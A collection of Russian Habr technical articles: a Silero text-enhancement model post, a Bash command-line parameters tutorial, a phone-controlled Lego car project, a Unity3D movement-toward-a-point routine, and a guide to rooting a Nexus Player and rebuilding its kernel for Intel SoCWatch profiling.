| Wieso Mr. Anderson? Wieso, wieso? Wieso tun sie das? Wieso? Warum aufstehen? Warum weiterkämpfen? Glauben Sie wirklich, sie kämpfen für etwas für mehr, als ihr Überleben? Können Sie mir sagen, was es ist? Wissen sie es überhaupt? Ist es Freiheit, vielleicht Wahrheit? Vielleicht Frieden? Könnt‘ es für die Liebe sein? | Wieso Mr. Anderson, Wieso wieso? Wieso tun sie das? Wieso, warum aufstehen? Warum weiterkämpfen? Glauben sie wirklich sie kämpfen für etwas für mehr als ihr überleben können sie mir sagen, was es ist, Wissen sie es überhaupt ist es freiheit, vielleicht Wahrheit vielleicht Frieden könnt es für die Liebe sein. |
| -- | -- |
| ¿Por qué lo hace? ¿Por qué? ¿Por qué se levanta? ¿Por qué sigue luchando? ¿De verdad cree que lucha por algo además de por su propia supervivencia? ¿Querría decirme qué es, si es que acaso lo sabe? ¿Es por la libertad? ¿Por la verdad? ¿Tal vez por la paz? ¿Quizás por el amor? | ¿Por qué lo hace? ¿Por qué? ¿Por qué se levanta? ¿Por qué sigue luchando de verdad? Cree que lucha por algo, además de por su propia supervivencia, querría decirme qué es si es que acaso lo sabe es por la libertad por la verdad, tal vez por la paz, quizás por el amor. |
Как запустить
-------------
Модель, как и первая ее версия, выложена в репозитории проекта [silero-models](https://github.com/snakers4/silero-models). А вот простой запуск модели (подробнее, как обычно, в [colab](https://colab.research.google.com/github/snakers4/silero-models/blob/master/examples_te.ipynb)):
```
import torch
model, example_texts, languages, punct, apply_te = torch.hub.load(repo_or_dir='snakers4/silero-models',
model='silero_te')
input_text = input('Enter input text\n')
apply_te(input_text, lan='en')
```
Дальнейшие планы
----------------
В перспективе есть мысли переработать и расширить тренировочный корпус текстов — например, сейчас в нем заметно не достает примеров разговорной живой речи, как в субтитрах.
Еще одна особенность модели, тоже проявившаяся именно при работе с целыми абзацами текста: из-за того, что модель предсказывает заглавные буквы и пунктуацию раздельно — на каждую подзадачу отдельная голова, — изредка эти предсказания выходят несогласованными. В процессе разработки модели мы пробовали делать общую голову для обеих задач, но она работала хуже раздельных. Опция, которую хорошо бы еще проверить, — предсказывать сначала расстановку заглавных букв (это более простая задача), а потом подавать это предсказание вместе с входной текстовой последовательностью для расстановки пунктуации.
P. S. Делитесь остроумными примерами работы модели в комментариях и голосуйте за понравившиеся! Лучшие фразы добавим как встроенные примеры в следующем релизе :D | https://habr.com/ru/post/594565/ | null | ru | null |
# Bash-скрипты, часть 3: параметры и ключи командной строки
> [Bash-скрипты: начало](https://habrahabr.ru/company/ruvds/blog/325522/)
>
> [Bash-скрипты, часть 2: циклы](https://habrahabr.ru/company/ruvds/blog/325928/)
>
> [Bash-скрипты, часть 3: параметры и ключи командной строки](https://habrahabr.ru/company/ruvds/blog/326328/)
>
> [Bash-скрипты, часть 4: ввод и вывод](https://habrahabr.ru/company/ruvds/blog/326594/)
>
> [Bash-скрипты, часть 5: сигналы, фоновые задачи, управление сценариями](https://habrahabr.ru/company/ruvds/blog/326826/)
>
> [Bash-скрипты, часть 6: функции и разработка библиотек](https://habrahabr.ru/company/ruvds/blog/327248/)
>
> [Bash-скрипты, часть 7: sed и обработка текстов](https://habrahabr.ru/company/ruvds/blog/327530/)
>
> [Bash-скрипты, часть 8: язык обработки данных awk](https://habrahabr.ru/company/ruvds/blog/327754/)
>
> [Bash-скрипты, часть 9: регулярные выражения](https://habrahabr.ru/company/ruvds/blog/327896/)
>
> [Bash-скрипты, часть 10: практические примеры](https://habrahabr.ru/company/ruvds/blog/328346/)
>
> [Bash-скрипты, часть 11: expect и автоматизация интерактивных утилит](https://habrahabr.ru/company/ruvds/blog/328436/)
Освоив предыдущие части этой серии материалов, вы узнали о том, что такое bash-скрипты, как их писать, как управлять потоком выполнения программы, как работать с файлами. Сегодня мы поговорим о том, как добавить скриптам интерактивности, оснастив их возможностями по получению данных от пользователя и по обработке этих данных.
[](https://habrahabr.ru/company/ruvds/blog/326328/)
[](https://ruvds.com/ru-rub/#order)
Наиболее распространённый способ передачи данных сценариям заключается в использовании параметров командной строки. Вызвав сценарий с параметрами, мы передаём ему некую информацию, с которой он может работать. Выглядит это так:
```
$ ./myscript 10 20
```
В данном примере сценарию передано два параметра — «10» и «20». Всё это хорошо, но как прочесть данные в скрипте?
Чтение параметров командной строки
----------------------------------
Оболочка bash назначает специальным переменным, называемым позиционными параметрами, введённые при вызове скрипта параметры командной строки:
* `$0 —` имя скрипта.
* `$1 —` первый параметр.
* `$2 —` второй параметр — и так далее, вплоть до переменной `$9`, в которую попадает девятый параметр.
Вот как можно использовать параметры командной строки в скрипте с помощью этих переменных:
```
#!/bin/bash
echo $0
echo $1
echo $2
echo $3
```
Запустим сценарий с параметрами:
```
./myscript 5 10 15
```
Вот что он выведет в консоль.
*Вывод параметров, с которыми запущен скрипт*
Обратите внимание на то, что параметры командной строки разделяются пробелами.
Взглянем на ещё один пример использования параметров. Тут мы найдём сумму чисел, переданных сценарию:
```
#!/bin/bash
total=$[ $1 + $2 ]
echo The first parameter is $1.
echo The second parameter is $2.
echo The sum is $total.
```
Запустим скрипт и проверим результат вычислений.
*Сценарий, который находит сумму переданных ему чисел*
Параметры командной строки не обязательно должны быть числами. Сценариям можно передавать и строки. Например, вот скрипт, работающий со строкой:
```
#!/bin/bash
echo Hello $1, how do you do
```
Запустим его:
```
./myscript Adam
```
Он выведет то, что мы от него ожидаем.
*Сценарий, работающий со строковым параметром*
Что если параметр содержит пробелы, а нам надо обрабатывать его как самостоятельный фрагмент данных? Полагаем, если вы освоили предыдущие части этого руководства, ответ вы уже знаете. Заключается он в использовании кавычек.
Если скрипту надо больше девяти параметров, при обращении к ним номер в имени переменной надо заключать в фигурные скобки, например так:
```
${10}
```
Проверка параметров
-------------------
Если скрипт вызван без параметров, но для нормальной работы кода предполагается их наличие, возникнет ошибка. Поэтому рекомендуется всегда проверять наличие параметров, переданных сценарию при вызове. Например, это можно организовать так:
```
#!/bin/bash
if [ -n "$1" ]
then
echo Hello $1.
else
echo "No parameters found. "
fi
```
Вызовем скрипт сначала с параметром, а потом без параметров.
*Вызов скрипта, проверяющего наличие параметров командной строки*
Подсчёт параметров
------------------
В скрипте можно подсчитать количество переданных ему параметров. Оболочка bash предоставляет для этого специальную переменную. А именно, переменная `$#` содержит количество параметров, переданных сценарию при вызове.
Опробуем её:
```
#!/bin/bash
echo There were $# parameters passed.
```
Вызовем сценарий.
```
./myscript 1 2 3 4 5
```
В результате скрипт сообщит о том, что ему передано 5 параметров.
*Подсчёт количества параметров в скрипте*
Эта переменная даёт необычный способ получения последнего из переданных скрипту параметров, не требующий знания их количества. Вот как это выглядит:
```
#!/bin/bash
echo The last parameter was ${!#}
```
Вызовем скрипт и посмотрим, что он выведет.
*Обращение к последнему параметру*
Захват всех параметров командной строки
---------------------------------------
В некоторых случаях нужно захватить все параметры, переданные скрипту. Для этого можно воспользоваться переменными `$*` и `$@`. Обе они содержат все параметры командной строки, что делает возможным доступ к тому, что передано сценарию, без использования позиционных параметров.
Переменная `$*` содержит все параметры, введённые в командной строке, в виде единого «слова».
В переменной `$@` параметры разбиты на отдельные «слова». Эти параметры можно перебирать в циклах.
Рассмотрим разницу между этими переменными на примерах. Сначала взглянем на их содержимое:
```
#!/bin/bash
echo "Using the \$* method: $*"
echo "-----------"
echo "Using the \$@ method: $@"
```
Вот вывод скрипта.
*Переменные $\* и $@*
Как видно, при выводе обеих переменных получается одно и то же. Теперь попробуем пройтись по содержимому этих переменных в циклах для того, чтобы увидеть разницу между ними:
```
#!/bin/bash
count=1
for param in "$*"
do
echo "\$* Parameter #$count = $param"
count=$(( $count + 1 ))
done
count=1
for param in "$@"
do
echo "\$@ Parameter #$count = $param"
count=$(( $count + 1 ))
done
```
Взгляните на то, что скрипт вывел в консоль. Разница между переменными вполне очевидна.
*Разбор переменных $\* и $@ в цикле*
Переменная `$*` содержит все переданные скрипту параметры как единый фрагмент данных, в то время как в переменной `$@` они представлены самостоятельными значениями. Какой именно переменной воспользоваться — зависит от того, что именно нужно в конкретном сценарии.
Команда shift
-------------
Использовать команду `shift` в bash-скриптах следует с осторожностью, так как она, в прямом смысле слова, сдвигает значения позиционных параметров.
Когда вы используете эту команду, она, по умолчанию, сдвигает значения позиционных параметров влево. Например, значение переменной `$3` становится значением переменной `$2`, значение `$2` переходит в `$1`, а то, что было до этого в `$1,` теряется. Обратите внимание на то, что при этом значение переменной `$0`, содержащей имя скрипта, не меняется.
Воспользовавшись командой `shift`, рассмотрим ещё один способ перебора переданных скрипту параметров:
```
#!/bin/bash
count=1
while [ -n "$1" ]
do
echo "Parameter #$count = $1"
count=$(( $count + 1 ))
shift
done
```
Скрипт задействует цикл `while`, проверяя длину значения первого параметра. Когда длина станет равна нулю, происходит выход из цикла. После проверки первого параметра и вывода его на экран, вызывается команда `shift`, которая сдвигает значения параметров на одну позицию.
*Использование команды shift для перебора параметров*
Используя команду `shift`, помните о том, что при каждом её вызове значение переменной `$1` безвозвратно теряется.
Ключи командной строки
----------------------
Ключи командной строки обычно выглядят как буквы, перед которыми ставится тире. Они служат для управления сценариями. Рассмотрим такой пример:
```
#!/bin/bash
echo
while [ -n "$1" ]
do
case "$1" in
-a) echo "Found the -a option" ;;
-b) echo "Found the -b option" ;;
-c) echo "Found the -c option" ;;
*) echo "$1 is not an option" ;;
esac
shift
done
```
Запустим скрипт:
```
$ ./myscript –a –b –c –d
```
И проанализируем то, что он выведет в терминал.
*Обработка ключей в скрипте*
В этом коде использована конструкция `case`, которая сверяет переданный ей ключ со списком обрабатываемых скриптом ключей. Если переданное значение нашлось в этом списке, выполняется соответствующая ветвь кода. Если при вызове скрипта будет использован любой ключ, обработка которого не предусмотрена, будет исполнена ветвь «\*».
Как различать ключи и параметры
-------------------------------
Часто при написании bash-скриптов возникает ситуация, когда надо использовать и параметры командной строки, и ключи. Стандартный способ это сделать заключается в применении специальной последовательности символов, которая сообщает скрипту о том, когда заканчиваются ключи и начинаются обычные параметры.
Эта последовательность — двойное тире (--). Оболочка использует её для указания позиции, на которой заканчивается список ключей. После того, как скрипт обнаружит признак окончания ключей, то, что осталось, можно, не опасаясь ошибок, обрабатывать как параметры, а не как ключи. Рассмотрим пример:
```
#!/bin/bash
while [ -n "$1" ]
do
case "$1" in
-a) echo "Found the -a option" ;;
-b) echo "Found the -b option";;
-c) echo "Found the -c option" ;;
--) shift
break ;;
*) echo "$1 is not an option";;
esac
shift
done
count=1
for param in $@
do
echo "Parameter #$count: $param"
count=$(( $count + 1 ))
done
```
Этот сценарий использует команду `break` для прерывания цикла `while` при обнаружении в строке двойного тире.
Вот что получится после его вызова.
*Обработка ключей и параметров командной строки*
Как видно, когда скрипт, разбирая переданные ему данные, находит двойное тире, он завершает обработку ключей и считает всё, что ещё не обработано, параметрами.
Обработка ключей со значениями
------------------------------
По мере усложнения ваших скриптов, вы столкнётесь с ситуациями, когда обычных ключей уже недостаточно, а значит, нужно будет использовать ключи с некими значениями. Например, вызов сценария в котором используется подобная возможность, выглядит так:
```
./myscript -a test1 -b -c test2
```
Скрипт должен уметь определять, когда вместе с ключами командной строки используются дополнительные параметры:
```
#!/bin/bash
while [ -n "$1" ]
do
case "$1" in
-a) echo "Found the -a option";;
-b) param="$2"
echo "Found the -b option, with parameter value $param"
shift ;;
-c) echo "Found the -c option";;
--) shift
break ;;
*) echo "$1 is not an option";;
esac
shift
done
count=1
for param in "$@"
do
echo "Parameter #$count: $param"
count=$(( $count + 1 ))
done
```
Вызовем этот скрипт в таком виде:
```
./myscript -a -b test1 -d
```
Посмотрим на результаты его работы.
*Обработка параметров ключей*
В данном примере в конструкции `case` обрабатываются три ключа. Ключ `-b` требует наличия дополнительного параметра. Так как обрабатываемый ключ находится в переменной `$1`, соответствующий ему параметр будет находиться в `$2` (тут используется команда `shift`, поэтому, по мере обработки, всё, что передано сценарию, сдвигается влево). Когда с этим мы разобрались, осталось лишь извлечь значение переменной `$2` и у нас будет параметр нужного ключа. Конечно, тут понадобится ещё одна команда `shift` для того, чтобы следующий ключ попал в `$1`.
Использование стандартных ключей
--------------------------------
При написании bash-скриптов вы можете выбирать любые буквы для ключей командной строки и произвольно задавать реакцию скрипта на эти ключи. Однако, в мире Linux значения некоторых ключей стали чем-то вроде стандарта, которого полезно придерживаться. Вот список этих ключей:
> `-a` Вывести все объекты.
>
> `-c` Произвести подсчёт.
>
> `-d` Указать директорию.
>
> `-e` Развернуть объект.
>
> `-f` Указать файл, из которого нужно прочитать данные.
>
> `-h` Вывести справку по команде.
>
> `-i` Игнорировать регистр символов.
>
> `-l` Выполнить полноформатный вывод данных.
>
> `-n` Использовать неинтерактивный (пакетный) режим.
>
> `-o` Позволяет указать файл, в который нужно перенаправить вывод.
>
> `-q` Выполнить скрипт в quiet-режиме.
>
> `-r` Обрабатывать папки и файлы рекурсивно.
>
> `-s` Выполнить скрипт в silent-режиме.
>
> `-v` Выполнить многословный вывод.
>
> `-x` Исключить объект.
>
> `-y` Ответить «yes» на все вопросы.
Если вы работаете в Linux, вам, скорее всего, знакомы многие из этих ключей. Использовав их в общепринятом значении в своих скриптах, вы поможете пользователям взаимодействовать с ними, не беспокоясь о чтении документации.
Получение данных от пользователя
--------------------------------
Ключи и параметры командной строки — это отличный способ получить данные от того, кто пользуется скриптом, однако в некоторых случаях нужно больше интерактивности.
Иногда сценарии нуждаются в данных, которые пользователь должен ввести во время выполнения программы. Именно для этой цели в оболочке bash имеется команда `read`.
Эта команда позволяет принимать введённые данные либо со стандартного ввода (с клавиатуры), либо используя другие дескрипторы файлов. После получения данных, эта команда помещает их в переменную:
```
#!/bin/bash
echo -n "Enter your name: "
read name
echo "Hello $name, welcome to my program."
```
Обратите внимание на то, что команда `echo`, которая выводит приглашение, вызывается с ключом `-n`. Это приводит к тому, что в конце приглашения не выводится знак перевода строки, что позволяет пользователю скрипта вводить данные там же, где расположено приглашение, а не на следующей строке.
*Обработка пользовательского ввода*
При вызове `read` можно указывать и несколько переменных:
```
#!/bin/bash
read -p "Enter your name: " first last
echo "Your data for $last, $first…"
```
Вот что выведет скрипт после запуска.
*Несколько переменных в команде read*
Если, вызвав `read`, не указывать переменную, данные, введённые пользователем, будут помещены в специальную переменную среды `REPLY`:
```
#!/bin/bash
read -p "Enter your name: "
echo Hello $REPLY, welcome to my program.
```
*Использование переменной среды REPLY*
Если скрипт должен продолжать выполнение независимо от того, введёт пользователь какие-то данные или нет, вызывая команду `read` можно воспользоваться ключом `-t`. А именно, параметр ключа задаёт время ожидания ввода в секундах:
```
#!/bin/bash
if read -t 5 -p "Enter your name: " name
then
echo "Hello $name, welcome to my script"
else
echo "Sorry, too slow! "
fi
```
Если данные не будут введены в течение 5 секунд, скрипт выполнит ветвь условного оператора `else`, выведя извинения.
*Ограничение времени на ввод данных*
Ввод паролей
------------
Иногда то, что вводит пользователь в ответ на вопрос скрипта, лучше на экране не показывать. Например, так обычно делают, запрашивая пароли. Ключ `-s` команды `read` предотвращает отображение на экране данных, вводимых с клавиатуры. На самом деле, данные выводятся, но команда `read` делает цвет текста таким же, как цвет фона.
```
#!/bin/bash
read -s -p "Enter your password: " pass
echo "Is your password really $pass? "
```
Вот как отработает этот скрипт.
*Ввод конфиденциальных данных*
Чтение данных из файла
----------------------
Команда `read` может, при каждом вызове, читать одну строку текста из файла. Когда в файле больше не останется непрочитанных строк, она просто остановится. Если нужно получить в скрипте всё содержимое файла, можно, с помощью конвейера, передать результаты вызова команды `cat` для файла, конструкции `while`, которая содержит команду `read` (конечно, использование команды `cat` выглядит примитивно, но наша цель — показать всё максимально просто, ориентируясь на новичков; опытные пользователи, уверены, это поймут).
Напишем скрипт, в котором используется только что описанный подход к чтению файлов.
```
#!/bin/bash
count=1
cat myfile | while read line
do
echo "Line $count: $line"
count=$(( $count + 1 ))
done
echo "Finished"
```
Посмотрим на него в деле.
*Чтение данных из файла*
Тут мы передали в цикл `while` содержимое файла и перебрали все строки этого файла, выводя номер и содержимое каждой из них.
Итоги
-----
Сегодня мы разобрали работу с ключами и параметрами командной строки. Без этих средств диапазон использования скриптов оказывается чрезвычайно узким. Даже если скрипт написан, что называется, «для себя». Тут же мы рассмотрели подходы к получению данных от пользователя во время выполнения программы — это делает сценарии интерактивными.
В следующий раз поговорим об операциях ввода и вывода.
Уважаемые читатели! Спасибо вам за то, что делитесь опытом в комментариях к предыдущим частям этого цикла материалов. Если вам есть что сказать об обработке всего того, что можно передать в скрипт при запуске или во время его работы, уверены, многим будет интересно об этом почитать.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/326328/ | null | ru | null |
# Смартфон управляет игрушечным автомобилем
За прошедшее десятилетие у многих появилось один два смартфона лежащих без дела, так и у меня. Решил применить смартфон для управления чем-нибудь, ну например, автомобилем.
Для начала выбрал игрушечный автомобиль из Лего. Он может двигаться вперед и назад, поворачивать вправо и влево и имеет пульт ДУ c ИК лучами. В качестве драйвера двигателей машинки используется микросхема LB1836, которая имеет четыре информационных входа. In1, In2 — управляют ходовым двигателем, In3, In4 — управляют приводом руля, по схеме 0, 0 или 1, 1 — нерабочее состояние. 0, 1 или 1, 0 — вращение двигателя в одну или другую сторону.
Логические 0 и 1 на входах формирует приемник ИК лучей игрушки при получении сигналов от ДУ.
Я для передачи сигналов от смартфона к машинке решил использовать экран смартфона, поскольку другие каналы передачи технически сложные и дорогие в реализации. К входам микросхемы LB1836 я решил подсоединить свое устройство, которое будет получать сигналы от смартфона.
Схема передачи сигналов такая. Программа в смартфоне создает световые пятна заданной продолжительности на экране, устройство их регистрирует и формирует логические 0 и 1 той же продолжительности на входах LB1836 без какой либо логической обработки, что очень упрощает конструкцию устройства. То есть, я просто подменил приемник ИК лучей своим устройством.
Устройство приема световых сигналов состоит из 4 ячеек. Каждая ячейка представляет собой фототранзистор L-3DP3C KGB подсоединенный к усилителю на npn транзисторе KT315. Питание берется с управляемой машинки. Выход, как я уже говорил, подсоединяется к соответствующему входу драйвера двигателя. Маломощные двигатели могут питаться прямо от выхода, но вращаться будут только в одну сторону. Но зато их будет четыре!
О выборе элементов устройства могу сказать следующее. Транзисторы я взял те, какие у меня были с давних времен. Фототранзисторы купил те, что были в магазине. Так что, желающие повторить схему, не тратьте время на поиски, воспользуйтесь теми элементами, что вам доступны. Кстати, вначале я усилитель собрал на микросхеме LM 324N с четырьмя операционными усилителями. Тоже хорошо работает, но мне показались его габариты слишком большими.
Устройство собрал на картонке, используя полоски медной фольги и элементы конструктора Лего.
Фототранзисторы помещены на дно световых колодцев диаметром 5мм и глубиной 9 мм, что бы исключить боковое засвечивание. В световые колодцы вставлены металлизированные плёнки, свёрнутые в трубочку, что значительно повышает чувствительность фототранзисторов, за счет увеличения светового потока.
Вот такой получился автомобиль.
Для разработки программы я взял, приложение BASIC! из Googl Play Маркет. Это приложение позволяет писать программы для Android, создавать файлы apk и работать со всеми сенсорами и устройствами смартфона.
Листинг программы
```
DO
LET s$="Говорите команду: вперёд назад вправо влево или стоп"
TTS.INIT
TTS.SPEAK s$
TTS.STOP
STT.LISTEN "Говорите"
STT.RESULTS theList
LIST.SIZE theList, theSize
LET kom$="неудача"
FOR k = 1 TO theSize
LIST.GET theList, k, theText$
IF (theText$="вперед") THEN kom$="вперёд"
IF (theText$="назад") THEN kom$="назад"
IF (theText$="вправо") THEN kom$="вправо"
IF (theText$="влево") THEN kom$="влево"
IF (theText$="стоп") THEN kom$="стоп"
NEXT k
PRINT kom$
GR.OPEN 255, 0, 0, 0
GR.BRIGHTNESS 0.7
GR.ORIENTATION 1
GR.SCREEN w, h
a = 255
r = 255
g = 255
b = 255
fill = 1
GR.COLOR a,r,g,b,fill
LET wc=0.95*h
LET hc=w
LET m=36
GR.CLS
GR.CIRCLE n5, hc/m*9.5,wc,w/15.6
GR.CIRCLE n4, hc/m*13.5,wc,w/15.6
GR.CIRCLE n3, hc/m*18,wc,w/15.6
GR.CIRCLE n2, hc/m*22.5,wc,w/15.6
GR.CIRCLE n1, hc/m*26.5,wc,w/15.6
FOR i=1 TO 5
GR.HIDE i
NEXT i
IF (kom$="вперёд") THEN
GR.SHOW 2
PAUSE 300
GR.HIDE 2
ENDIF
IF (kom$="назад") THEN
GR.SHOW 1
PAUSE 300
GR.HIDE 1
ENDIF
IF (kom$="влево") THEN
GR.SHOW 2
GR.SHOW 4
PAUSE 300
GR.HIDE 2
GR.HIDE 4
ENDIF
IF (kom$="вправо") THEN
GR.SHOW 2
GR.SHOW 5
PAUSE 300
GR.HIDE 2
GR.HIDE 5
ENDIF
IF (kom$="стоп") THEN GOTO qq
GR.BRIGHTNESS 0.1
GR.CLOSE
UNTIL 0
! ONERROR:
qq:
LET s$="программа закончила работу"
TTS.INIT
TTS.SPEAK s$
TTS.STOP
GR.BRIGHTNESS 0.1
GR.CLOSE
END
```
В программе используется управление голосом как наиболее целесообразное в моем случае. Объект TTS преобразует текст в речь. Объект STT преобразует речь в текст. При работе STT обязательно должен быть включен Wi Fi, потому что записанная фонограмма отправляется на сервер в интернете, откуда приходит результат распознавания, это несколько слов, или фраз. Программа проверяет, есть ли команда в списке, выводит команду на экран и выполняет её. Если текст не распознан программа выводит сообщение об этом. Все это повторяется в бесконечном цикле. Завершение работы программы производится командой «стоп» или нажатием клавиши возврат. Геометрические размеры взяты относительными, чтобы автоматизировать привязку на разных экранах с разными размерами и разрешением, что не всегда получается. Круги, которые рисуются на экране, являются объектами и номеруются автоматически по мере их создания.
Команда GR.SHOW 2 — означает показать круг, который был создан вторым. Его номер содержится в n4. Можно было написать GR.SHOW n4. В строке IF (theText$=«вперед») THEN kom$=«вперёд» вы заметите различие в значениях величины в команде присваивания — «вперед» и «вперёд». Дело в том, что STT упорно возвращает «вперед», хотя бывают случаи «вперёд», тогда программа не распознает команду. От этого можно было избавиться, но я не стал усложнять программу, а просто поправил написание при выводе на экран. Еще бывают сбои при распознавании команды «влево». Впрочем, возможно это особенности моего произношения.
К сожалению, я не могу вставить сюда клип показывающий работу программы.
Посмотрите [здесь](https://m.youtube.com/watch?v=PxrwXD6t5gM). | https://habr.com/ru/post/424945/ | null | ru | null |
# Движение объекта к точке в Unity3D
Введение
========
Предположим, что у нас есть объект, который должен двигаться к точке. Задачка-то простенькая, использовать интерполяцию, например. Но что, если наш объект может поворачиваться на случайный угол? Как тогда задать точку для интерполирования? Ведь наверняка наша условная вагонетка должна двигаться только по направлению своих колес. Соответственно либо тыльной, либо фронтальной стороной. С этой задачей нам поможет справиться векторная алгебра.
Теория
======
Мы приняли факт, что с помощью векторной алгебры данная задача разрешима. Значит, нам необходимо что-то делать с векторами. Но что? Для начала спроецируем понятие вектора на нашу задачу. По условию задачи нам нужно задать точку для интерполяции. То есть точку, относительно глобальной/локальной системы координат, в которую будет впоследствии двигаться объект. Значит отрезок между точкой объекта, которую мы приняли для задания движения, и конечной искомой точкой будет являться вектором.
Теперь мы знаем, что у нас есть вектор и нам нужно найти координаты его конца. Для однозначного решения этой задачи необходим набор параметров:
* координаты начала вектора;
* длина вектора;
* угол наклона к осям координат.
Предположим, что все это мы знаем. Тогда задача сводится к простейшим формулам теоремы синусов.
где a — длина вектора, α — угол наклона к оси координат
Собственно, этих знаний нам пока достаточно для решения задачи на практике.
Практика
========
Итак, нам известно:
* где фронтальная и тыльная сторона объекта;
* текущее положение объекта;
* угол, на который повернулся объект.
* расстояние, которое должен преодолеть объект.
Почти вся информация у нас есть, но согласно нашему случаю, нам численно известен угол поворота объекта, но неизвестно относительно какой оси он повернулся. Необходимы дополнительные данные. Тогда вводим понятие четверти. Ни для кого не секрет, что в двумерной декартовой системе координат существуют 4 четверти, с 1 до 4 соответственно. В каждой четверти оси имеют разные знаки.
И в unity это тоже работает. Для начала, нам нужно определить четверти в сцене. Создаем куб в начале координат, перемещаем его и смотрим, какие координаты отрицательные, а какие положительные. В примере видно, что обе координаты отрицательные, значит куб находится в третьей четверти.
Теперь можно приступать непосредственно к скрипту. На вход мы принимаем Transform исходного объекта после поворота и Transform пустышки, к которой в последствии будем двигаться. Пустышка изначально имеет координаты объекта. Далее определяем четверть, в которой находится фронт объекта. Так как тригонометрическая окружность ограничена от 0 до 360 градусов, то труда это не составляет. Определив четверть, вычисляем углы наклона для каждой координаты. Потом делаем проверку, чтобы наши углы имели правильный знак. После этого отправляем углы наклона в конечную формулу вычисления координат. И наконец, задаем новые координаты пустышке, к которой будем интерполировать.
```
void ChekingQuarterUp(Transform vectorAngle, ref Transform empty)
{
float zangle = 0;
float xangle= 0;
float zcoord = 0.0f;
float xcoord = 0.0f;
int normangle = Mathf.RoundToInt (vectorAngle.eulerAngles.y);
if (normangle >= 0 && normangle <= 90) // 1-ая четверть
{
zangle = 90 - normangle;
xangle = 0 - normangle;
xangle = (xangle < 0) ? xangle * -1 : xangle;
zangle = (zangle < 0) ? zangle * -1 : zangle;
}
if (normangle > 270 && normangle <= 360) // 2-ая четверть
{
xangle = 360 - normangle;
zangle = 270 - normangle;
xangle = (xangle > 0) ? xangle * -1 : xangle;
zangle = (zangle < 0) ? zangle * -1 : zangle;
}
if (normangle > 180 && normangle <= 270) // 3-ая четверть
{
xangle = 180 - normangle;
zangle = 270 - normangle;
xangle = (xangle > 0) ? xangle * -1 : xangle;
zangle = (zangle > 0) ? zangle * -1 : zangle;
}
if (normangle > 90 && normangle <= 180) // 4-ая четверть
{
zangle = 90 - normangle;
xangle = 180 - normangle;
zangle = (zangle > 0) ? zangle * -1 : zangle;
xangle = (xangle < 0) ? xangle * -1 : xangle;
}
zcoord = path * Mathf.Sin (zangle *Mathf.PI/180);
xcoord = path * Mathf.Sin (xangle * Mathf.PI/180);
float newpathx = empty.position.x + xcoord;
float newpathz = empty.position.z + zcoord;
empty.position = new Vector3 (newpathx, empty.transform.position.y, newpathz);
}
```
Заключение
==========
Как видите, решение довольно простое. Перед использованием данного метода проверяйте хватает ли вам данных, иначе задача становиться однозначно неразрешимой. Например, убрав угол наклона к осям, областью решения становится окружность с бесконечным множеством точек.
Для движения «задом» нужно всего лишь диаметрально изменить знаки координат согласно четвертям. Если вы решили определять точку в трехмерном пространстве, то учитывайте, что «четвертей» там будет больше.
Пример реализации метода можно взять [здесь](https://gitlab.com/CodeConcil/Virtual_Robot). | https://habr.com/ru/post/347904/ | null | ru | null |
# Подготовка Nexus Player (FUGU) к работе с SoCWatch
Польза от оптимизации энергопотребления Android-приложений, которые рассчитаны на мобильные устройства, видна невооружённым взглядом. Меньше потребление энергии – дольше время между перезарядками. Но у энергопотребления есть и другие стороны. Стационарное «железо», вроде Nexus Player, тоже нуждается в экономичных приложениях. В глобальном масштабе, а платформа Android – это явление именно такого размаха, бережное отношение к энергии означает заботу об окружающей среде.
[](http://habrahabr.ru/company/intel/blog/266843/)
**Intel SoC Watch** – это инструмент командной строки, который позволяет анализировать энергопотребление систем, основанных на платформах от Intel. Nexus Player – одна из таких систем. Для того чтобы узнать с помощью SoCWatch о том, что творится «под капотом» Nexus Player, устройство нужно особым образом подготовить.
Общие сведения о SoCWatch
-------------------------
Intel SoC Watch умеет собирать сведения о состояниях энергопотребления микропроцессоров и о причинах переключения между этими состояниями, отслеживать изменения тактовой частоты, использование шин, и множество других показателей. Всё это помогает детально проанализировать параметры потребления энергии различными системами.
После сбора информации SoCWatch, по умолчанию, генерирует файлы, содержащие необработанные данные и отчёт с общими сведениями по целевой системе. Необработанные данные (они хранятся в файле формата .SW1) можно импортировать в Intel Energy Profiler. Это средство имеет такой же интерфейс, как VTune Amplifier. Здесь можно сопоставлять и визуализировать данные о поведении системы, развёрнутые во времени. Файл отчёта (в формате .CSV) можно открыть, например, в Microsoft Excel и, на основе содержащихся в нём данных, построить графики, которые позволят облегчить анализ.
Получение root-прав на Nexus player
-----------------------------------
Nexus Player уже появился в продаже. Подробности о работе с ним, освещённые на Intel Developer Forum 2015, вы можете найти в материале [IDF2015 Lab Notes: Getting your Nexus Player from shrink-wrap to Performance and Energy Analysis](https://software.intel.com/en-us/articles/idf2015-lab-notes-getting-your-nexus-player-from-shrink-wrap-to-performance-and-energy).
Для того чтобы Nexus Player можно было анализировать с помощью SoCWatch, потребуются дополнительные усилия. Так, аналитической системе нужны root-права для сбора данных о производительности с помощью драйвера уровня ядра. Для того чтобы получить такие права, вы можете воспользоваться видео-руководством [Nexus Player – How to Root Android TV](https://www.youtube.com/watch?v=7EWKbzqltGk&feature=youtu.be). После того, как root-права получены, устройство сможет воспринимать команду su в оболочке ADB.
Построение ядра с новой конфигурацией для Nexus Player
------------------------------------------------------
Google отключила функцию загрузки модулей в конфигурации ядра ОС устройства. Поэтому, для подготовки Nexus Player к работе с SoCWatch, нам необходимо загрузить исходный код ядра с официального сайта Google и, модифицировав его конфигурацию, пересобрать. Для того чтобы это сделать, нужно выполнить следующие шаги.
**1.** Загрузим исходный код ядра с официального сайта Google.
**2.** Изменим конфигурацию ядра таким образом, чтобы она содержала следующие настройки, которые включают необходимые нам возможности:
```
export ARCH=x86
make fugu_defconfig
make menuconfig
```
```
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_TRACEPOINTS=y
CONFIG_FRAME_POINTER=y
CONFIG_COMPAT=y
CONFIG_TIMER_STATS=y
CONFIG_X86_ACPI_CPUFREQ=m (or CONFIG_X86_ACPI_CPUFREQ=y)
CONFIG_INTEL_IDLE=y
```
**3.** Убедимся, что перестроенное ядро можно найти по адресу < INSTALLATION\_DIR\_PATH >\x86\_64\arch\x86\boot\bzImage
```
make –j4
```
